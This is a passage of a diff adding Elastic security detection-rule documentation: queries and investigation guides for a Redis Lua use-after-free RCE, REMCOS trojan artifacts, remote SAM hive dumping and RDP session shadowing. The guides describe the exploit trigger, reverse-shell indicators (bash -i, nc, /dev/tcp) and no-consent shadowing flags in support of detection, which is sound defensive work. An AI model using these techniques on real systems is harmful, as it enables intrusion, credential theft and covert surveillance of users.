collectgarbage('collect') to force garbage collection, exploiting a use-after-free in the Lua parser to achieve remote code execution. + +*Rule type*: eql + +*Rule indices*: + +* logs-network_traffic.redis* + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://nvd.nist.gov/vuln/detail/CVE-2025-49844 +* https://redis.io/blog/redis-security-advisory-cve-2025-49844 +* https://www.cisa.gov/known-exploited-vulnerabilities-catalog +* https://www.wiz.io/blog/pwn2own-berlin-2025-redis-cve-2025-49844 + +*Tags*: + +* Domain: Network +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Network Packet Capture +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Vuln: CVE-2025-49844 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Redis Lua Use-After-Free RCE Attempt (CVE-2025-49844 / RediShell)* + + +CVE-2025-49844 is a use-after-free in the Redis Lua interpreter. An authenticated attacker sends an EVAL command whose Lua script calls `string.rep()` to create memory pressure, then `collectgarbage('collect')` to force GC, triggering the use-after-free to achieve RCE. This rule matches on the `network_traffic.redis.query` field populated by the network_traffic (Packetbeat) Redis protocol module. + + +*Possible investigation steps* + + +- Identify the source IP and determine whether it is a known trusted host or an internet address. Internet-exposed Redis (port 6379) with this pattern is almost certainly malicious. +- Confirm the destination Redis version. If unpatched (6.2.x branch: < 6.2.20; 7.2.x branch: < 7.2.11; 7.4.x branch: < 7.4.6; 8.0.x branch: < 8.0.4; 8.2.x branch: < 8.2.2), treat the alert as a high-confidence exploitation attempt. +- Review surrounding Redis commands (AUTH, CONFIG, SLAVEOF, DEBUG) from the same source IP for evidence of post-exploitation configuration tampering. +- Examine the destination host for evidence of reverse-shell establishment: outbound connections from the Redis process, new listening ports, or child process spawning (bash -i, nc, /dev/tcp patterns). +- Pivot to endpoint telemetry on the Redis host for process execution anomalies at or after the alert time. + + +*False positive analysis* + + +- `string.rep()` and `collectgarbage('collect')` are valid Lua functions individually. Their deliberate combination inside a Redis EVAL is almost exclusively associated with CVE-2025-49844 or explicit security testing. +- Authorized penetration testing and vulnerability scanning against the CVE will trigger this rule. Validate against known scanner IPs and scheduled assessment windows before escalating. + + +*Response and remediation* + + +- Immediately patch affected Redis instances: 6.2.x >= 6.2.20, 7.2.x >= 7.2.11, 7.4.x >= 7.4.6, 8.0.x >= 8.0.4, 8.2.x >= 8.2.2. +- Restrict Redis network access to trusted hosts only. Redis should never be directly reachable from the internet. +- Require authentication (`requirepass` or ACL) and rotate credentials if exploitation is suspected. +- If Lua scripting is not required, restrict EVAL via ACLs (`ACL SETUSER -eval`). +- If successful exploitation is suspected, isolate the host, collect artifacts, and rotate all credentials stored in or accessible via Redis. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic **network_traffic** integration (Packetbeat via Elastic Agent) with the Redis +protocol module enabled. The rule matches on the `network_traffic.redis.query` field (keyword — human-readable command text) populated +for every Redis transaction; the raw wire bytes are available in `network_traffic.redis.request` (text) if +deeper inspection is needed. + + +*Enabling the Redis module* + + +In the Elastic Agent `network_traffic` integration policy: +1. Add or confirm **Redis** in the protocols list with `enabled: true`. +2. Set **ports** to include `6379` (or the custom port your Redis instances listen on). +3. Deploy the sensor on the Redis host, on a SPAN/mirror port, or on a gateway that receives Redis traffic. + + +*TLS limitation — this rule only covers unencrypted Redis* + + +Redis uses a plaintext protocol by default (port 6379, no TLS). Packetbeat can inspect the full request payload +on unencrypted connections, which is the configuration used by the vast majority of internet-exposed instances +(8,500+ vulnerable instances identified as of October 2025 were all unencrypted). + +If TLS is configured for Redis (`tls-port`, `tls-cert-file`, and `tls-key-file` in redis.conf), Packetbeat cannot +inspect the payload without TLS decryption. For TLS-protected Redis deployments, supplement this rule with +endpoint detection (process command-line arguments, system call monitoring) on the Redis host itself. + + + +==== Rule query + + +[source, js] +---------------------------------- +network where data_stream.dataset == "network_traffic.redis" and + network_traffic.redis.query like~ "*EVAL*" and + network_traffic.redis.query like~ "*string.rep*" and + network_traffic.redis.query like~ "*collectgarbage*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remcos-trojan-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remcos-trojan-execution.asciidoc new file mode 100644 index 0000000000..832ce2b8dd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remcos-trojan-execution.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-34-potential-remcos-trojan-execution]] +=== Potential REMCOS Trojan Execution + +Identifies known file and registry traces of the REMCOS Remote Access Trojan, including log files, persistence values, and cleanup artifacts. Adversaries use Remcos to maintain persistent remote access to compromised hosts. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.registry-* +* logs-endpoint.events.file-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://any.run/malware-trends/remcos +* https://attack.mitre.org/software/S0332/ +* https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential REMCOS Trojan Execution* + + + +*Possible investigation steps* + + +- Which Remcos-related artifact family matched, and does it indicate install, persistence, or cleanup evidence? + - Focus: `event.category` plus the matched `file.path`, `registry.path`, `registry.value`, `registry.data.strings`, and whether the trace's user profile or hive scope matches `user.id`. + - Implication: "logs.dat" indicates active or recent keystroke/clipboard logging; a Run-key or licence registry path indicates persistence is set; a temp-file deletion indicates installer cleanup. The artifact's user profile or hive scope identifies which account is compromised. + +- Which process or user touched the Remcos trace, and does that writer fit detonation, remediation, or malware execution? + - Focus: the recovered writer identity and launch context, especially `process.executable`, `process.code_signature.subject_name`, `process.parent.executable`, and `user.id`. + - Hint: if the source event lacks process identity, recover the writer via `process.entity_id` or `process.pid` plus a tight time window on the same `host.id`. + - Implication: if the writer is an unknown binary on a non-lab host, treat it as the Remcos payload or its installer. If the writer is a known sandbox, detonation engine, or IR cleanup tool on a designated lab host, the trace is expected. + +- What payload or persistence target do adjacent file and registry events resolve to? + - Focus: file and registry events on the same `host.id`: `file.path`, `file.Ext.original.path`, `registry.path`, `registry.data.strings`, and any payload or autorun target tied to `process.entity_id`. + - Implication: a surviving Run-key target, startup copy, or staged binary under `%APPDATA%` or `%TEMP%` confirms the infection has active persistence and the payload is still present. Bounded removal of those artifacts without a surviving payload indicates cleanup is underway but verify that ALL persistence mechanisms are gone, not just the ones visible in the alert. + +- Is there active outbound C2 or proxy traffic on this host? + - Focus: host-scoped network events around the alert time, checking `dns.question.name`, `dns.resolved_ip`, `destination.ip`, `destination.port` for connections to rare public destinations, direct-IP egress, dynamic-DNS infrastructure, or unusual ports consistent with Remcos controller or SOCKS proxy use. + - Implication: active C2 traffic confirms the infection is live and requires immediate containment; absence of C2 traffic may indicate the payload was already removed or has not yet activated. Missing network telemetry is unresolved, not benign. + +- If the local evidence stays suspicious, does this host or user show related alerts that explain precursor compromise or follow-on access? + - Focus: related alerts for the same `host.id` and `user.id` in the last 48 hours to identify delivery, persistence, credential, command-and-control, or lateral-movement activity. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when the host or user shows delivery, credential theft, or follow-on remote-access alerts after the artifact; keep the case narrower when related activity is absent or resolves to one detonation or remediation workflow. + +- Escalate when the artifact, writer, persistence status, C2 activity, or alert scope align with active Remcos execution; close only when all evidence fits a recognized detonation or remediation workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Malware-analysis or detonation hosts can legitimately create Remcos traces. Confirm it when the writer identity, `host.id`, and any network activity all stay inside a known lab or sandbox environment. If lab records are unavailable, require the same writer and `host.id` to recur across prior alerts. +- Incident-response cleanup can remove Remcos artifacts. Confirm it when the writer matches a known cleanup tool, surrounding events show bounded removal, and no new C2 or lateral-movement activity follows. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the confirmed writer, `host.id`, and artifact family that justified the closure. Create an exception only if that same workflow recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the matched `file.path` or `registry.path`, `registry.data.strings`, recovered `process.entity_id`, writer executable and parent context. Apply the least disruptive reversible containment that matches the findings, starting with outbound restrictions on confirmed destinations and using host isolation only when active command-and-control or lateral movement is still plausible for that asset. Avoid destructive cleanup until scope is clearer. +- If confirmed malicious, use endpoint response to isolate the host after weighing host criticality and record the `process.entity_id`, command line, parent chain, and trace paths. If direct endpoint response is unavailable, escalate with that evidence set to the team that can contain the host and implicated accounts. +- Before eradicating or reimaging, review other hosts and users for the same writer identity, artifact family, or C2 destinations so scoping is complete. For confirmed infections, consider reimaging over manual cleanup -- Remcos can establish multiple persistence mechanisms and manual eradication risks missing one. If reimaging is not feasible, eradicate all identified Remcos artifacts including Run keys, licence-related registry paths, staged binaries, "logs.dat", and linked temp artifacts, then verify no alternate persistence survives. +- Post-incident hardening: review how the payload reached the host, restrict user-writable persistence paths where practical, and retain registry and network telemetry for Remcos-related activity. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] +- https://ela.st/sysmon-event-23-setup[Sysmon Event ID 23 - File Delete] + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and +( + (event.category == "file" and event.type == "deletion" and file.path like "?:\\Users\\*\\AppData\\Local\\Temp\\TH????.tmp") or + + (event.category == "file" and file.path : "?:\\Users\\*\\AppData\\Roaming\\remcos\\logs.dat") or + + (event.category == "registry" and + registry.value : ("Remcos", "Rmc-??????", "licence") and + registry.path : ( + "*\\Windows\\CurrentVersion\\Run\\Remcos", + "*\\Windows\\CurrentVersion\\Run\\Rmc-??????", + "*\\SOFTWARE\\Remcos-*\\licence", + "*\\Software\\Rmc-??????\\licence" + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remote-credential-access-via-registry.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remote-credential-access-via-registry.asciidoc new file mode 100644 index 0000000000..1053b4f5a4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remote-credential-access-via-registry.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-34-potential-remote-credential-access-via-registry]] +=== Potential Remote Credential Access via Registry + +Identifies remote access to the registry to potentially dump credential data from the Security Account Manager (SAM) registry hive in preparation for credential access and privileges elevation. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/fortra/impacket/blob/master/examples/secretsdump.py +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Remote Credential Access via Registry* + + + +*Possible investigation steps* + + +- Does the alert-local file prove a registry hive save? + - Focus: `event.action`, `file.path`, `file.size`, `file.Ext.header_bytes`, and `process.name`. + - Implication: escalate when svchost.exe writes a hive-sized Windows temp file with REGF header bytes; lower concern only when content or location contradicts hive export or matches a recognized hive-export workflow on this host. + +- Does the svchost instance fit RemoteRegistry-backed collection? + - Focus: `process.executable`, `process.command_line`, `process.parent.executable`, `process.Ext.session_info.logon_type`, and `process.Ext.session_info.authentication_package`. + - Hint: if parent or session fields are absent, recover the endpoint process event with `host.id` and `process.entity_id`. + - Implication: escalate when svchost is outside the Windows system path, lacks service-control lineage, uses an unusual service group, or runs under an unexpected remote/network session; lower concern when service context and session fields align with one recognized collection workflow. + +- Did the same process create companion hive artifacts? + - Why: secretsdump-style collection often saves SAM, SECURITY, and SYSTEM hives to target temp storage before parsing or retrieval. + - Focus: file events on `host.id` scoped to `process.entity_id`: `file.path`, `file.name`, `file.size`, `file.Ext.header_bytes`, and `file.Ext.original.path`. !{investigate{"description":"","label":"File activity for the same process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the same process creates multiple hive-sized REGF temp files, renamed copies, or cleanup artifacts; a single hive artifact narrows scope but does not clear the alert by itself. + +- Does the account and logon session fit recognized collection on this host? + - Focus: `user.id`, `user.name`, `user.domain`, `process.Ext.authentication_id`, and `process.Ext.token.elevation_level`. + - Hint: if Windows Security telemetry exists, bridge `process.Ext.authentication_id` to same-host logon events and read source host/IP, logon type, and authentication package. Missing authentication telemetry is unresolved, not benign. !{investigate{"description":"","label":"Windows Security events for the local process session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{process.Ext.authentication_id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{process.Ext.authentication_id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Implication: escalate when account, SID/domain, logon session, or elevation is not the identity used for recognized collection on this host; lower concern only when the same account and session context match that exact workflow. + +- Did the same session leave local staging, cleanup, or follow-on credential-access activity? + - Focus: endpoint process events on `host.id` scoped to `process.Ext.authentication_id`, then file events for matching `process.entity_id`: `process.command_line`, `process.parent.command_line`, `file.path`, and `file.Ext.original.path`. !{investigate{"description":"","label":"Process events for the same session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.Ext.authentication_id","queryType":"phrase","value":"{{process.Ext.authentication_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the alert lacks `process.Ext.authentication_id`, recover it from the endpoint process event before same-session review. + - Implication: escalate when the same session starts service-control, scripting, copy, compression, cleanup, or additional credential-access activity around the hive write; a single visible hive file remains unresolved because missing follow-on endpoint evidence is not benign. + +- If local evidence remains suspicious or incomplete, do related alerts widen scope? + - Focus: related `user.id` alerts for credential dumping, remote-service abuse, hive saves, or archive staging. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if account ownership is shared or ambiguous, compare `host.id` alerts for remote execution, service abuse, or alternate collection paths. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when the same user or host shows credential dumping, remote-service abuse, archive staging, or repeated hive-save alerts; keep local when related activity stays confined to one recognized collection case. + +- Escalate on a valid hive save plus unexplained service context, account/session, companion artifacts, cleanup, or related-alert evidence; close only when endpoint evidence and any needed outside confirmation bind one exact recognized workflow on this host; preserve and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Incident-response, forensic acquisition, recovery, or credential-audit jobs can legitimately trigger only when they explicitly export registry hives. Confirm one exact workflow across svchost service context, `process.command_line`, `user.id`, `host.id`, session fields, hive-sized temp `file.path` values, and companion SAM, SECURITY, or SYSTEM artifacts. If telemetry cannot prove legitimacy, require case or owner confirmation; do not close if account, service context, artifact set, or host scope expands beyond that workflow. +- Before exceptioning, validate stable `process.command_line`, `process.executable`, parent context, `user.id`, `host.id`, hive temp-path pattern, and `file.Ext.header_bytes` across prior alerts. Avoid exceptions on svchost.exe, temp paths, or REGF header bytes alone. + + +*Response and remediation* + + +- If confirmed benign, release temporary containment and document the recognized service context, `process.command_line`, account, session context, `host.id`, hive `file.path` values, and companion artifacts that matched the collection workflow. Create an exception only after the same evidence pattern is stable across prior alerts from this rule. +- If suspicious but unconfirmed, preserve a case export covering the alert file, same-process companion hives, same-session process and file activity, process tree, related-alert records, hive paths, sizes, and header bytes before containment. Record the re-query anchors `host.id`, `user.id`, `process.entity_id`, and `process.Ext.authentication_id` with the preserved case export. Apply reversible containment first, such as temporary RemoteRegistry restrictions, share restrictions, or heightened monitoring for the affected account and host; weigh server criticality before isolation. +- If confirmed malicious, first preserve the case export and record `process.entity_id`, `process.command_line`, parent context, companion hive paths, same-session activity, and affected `host.id`. Then isolate the host when artifact, service-context, session, or related-alert evidence establishes unauthorized hive collection. Kill or suspend the responsible process and disable or reset the involved account only after evidence capture and only when the `user.id` evidence supports compromise or unauthorized use. +- Treat companion SAM, SECURITY, and SYSTEM artifacts as exposure of local account material, cached secrets, machine secrets, and LSA secrets for the affected asset. Start credential hygiene appropriate to the host role and any accounts or services touched by the same session. +- After scoping, eradicate only artifacts and changes identified during triage: unauthorized hive copies, staging archives, dump tooling, cleanup scripts, and remote-service changes that enabled the access. Restore legitimate RemoteRegistry or backup configuration if it was altered, and remediate the entry path that allowed the hive save. +- Post-incident hardening: restrict RemoteRegistry-backed hive collection to controlled workflows, minimize accounts allowed to perform remote collection, and retain endpoint process and file telemetry needed to distinguish secretsdump-style, VSS-based, or WMI-based variants in future cases. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and + event.action == "creation" and process.name : "svchost.exe" and + file.Ext.header_bytes : "72656766*" and user.id : ("S-1-5-21-*", "S-1-12-1-*") and file.size >= 30000 and + file.path : ("?:\\Windows\\system32\\*.tmp", "?:\\WINDOWS\\Temp\\*.tmp") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remote-desktop-shadowing-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remote-desktop-shadowing-activity.asciidoc new file mode 100644 index 0000000000..348be97b09 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remote-desktop-shadowing-activity.asciidoc @@ -0,0 +1,203 @@ +[[prebuilt-rule-8-19-34-potential-remote-desktop-shadowing-activity]] +=== Potential Remote Desktop Shadowing Activity + +Identifies the modification of the Remote Desktop Protocol (RDP) Shadow registry or the execution of processes indicative of an active RDP shadowing session. An adversary may abuse the RDP Shadowing feature to spy on or control other users active RDP sessions. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.registry-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.bitsadmin.com/spying-on-users-using-rdp-shadowing +* https://swarm.ptsecurity.com/remote-desktop-services-shadowing/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Remote Desktop Shadowing Activity* + + + +*Possible investigation steps* + + +- Which RDP shadowing path fired? + - Focus: `event.category`, `process.name`, `process.command_line`, `registry.path`, `registry.data.strings`. + - Implication: escalate faster for active "mstsc.exe /shadow" use or a `Shadow` policy value that removes consent; lower suspicion only when alert-local evidence matches recognized helpdesk, training, or policy-setting activity with consent retained. +- Do process identity and lineage fit RDP shadowing components? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, `process.code_signature.trusted`, `process.parent.command_line`. + - Hint: for registry alerts, recover same-process starts for lineage or command-line detail. !{investigate{"description":"","label":"Process events for the same process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when "mstsc.exe", "RdpSaUacHelper.exe", or "RdpSaProxy.exe" runs from a user-writable path, has an unexpected signer, or has a parent inconsistent with Remote Desktop Services or a support launcher. A trusted Microsoft binary confirms identity, not authorization. +- If the `Shadow` registry value fired, did the new setting remove consent or allow control? + - Focus: `registry.path`, `registry.data.strings` (decimal or hex: `1`/`0x00000001` = full control with consent, `2`/`0x00000002` = full control without consent, `3`/`0x00000003` = view only with consent, `4`/`0x00000004` = view only without consent), and `process.executable`. + - Implication: escalate when `registry.data.strings` is `2`/`0x00000002` (full control, no consent) or `4`/`0x00000004` (view, no consent) because these allow silent shadowing; treat `1`/`0x00000001` or `3`/`0x00000003` as weaker setup evidence because the user is prompted, unless active shadowing or unexplained lineage appears. +- If a process event fired, does it show active session shadowing? + - Focus: `process.name`, `process.command_line`, `process.parent.name`, `process.parent.executable`. + - Hint: if `process.command_line` is truncated or normalized, verify "/shadow", "/control", and "/noConsentPrompt" boundaries with `process.args` before lowering suspicion. + - Implication: escalate when "mstsc.exe" includes "/shadow" with "/control" or "/noConsentPrompt". Treat "RdpSaUacHelper.exe" or "RdpSaProxy.exe" under a service host as active target-side shadowing that escalates when paired with no-consent/control, unexplained lineage, or unrecognized user-host context; a plain "mstsc.exe" launch without shadowing arguments is not enough. +- Does user, host, and session context fit recognized support or training? + - Focus: `user.id`, `user.name`, `user.domain`, `host.id`, `process.Ext.session_info.logon_type`. + - Implication: escalate when `user.id` targets an unusual workstation, privileged session, or host with no matching shadow-support pattern; lower suspicion only when user-host pairing, session type, and branch evidence match the same recognized workflow. +- Did the same actor prepare, persist, or extend the host-side shadowing activity? + - Focus: `user.id`, `process.entity_id`, `process.command_line`, `registry.path`, `registry.data.strings`. + - Hint: start with recovered same-process events; expand to same-host process and registry events only when local capability or context remains suspicious. !{investigate{"description":"","label":"Registry events on the host near the alert","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the same user or lineage enumerates sessions, prepares alternate-token launch, changes Terminal Services or RDP state, launches admin tooling, or persists shadow settings; absent process or registry evidence narrows the case but does not clear the alert. +- If local findings stay suspicious or unresolved, do related alerts expand scope? + - Focus: related alerts for the same `user.id` and `host.id`, especially remote-access, credential, remote-service, and persistence alerts. + - Hint: review same-user alerts when local branch and capability questions remain suspicious. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: review same-host alerts when host preparation or follow-on activity remains unresolved. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when related alerts show the same user or host in remote-access, credential, or persistence activity; keep scope narrow only when local evidence fits a recognized workflow and related alerts do not contradict it. + +- Using branch, capability, identity, lineage, user-host fit, host-side activity, and related alerts, escalate unauthorized 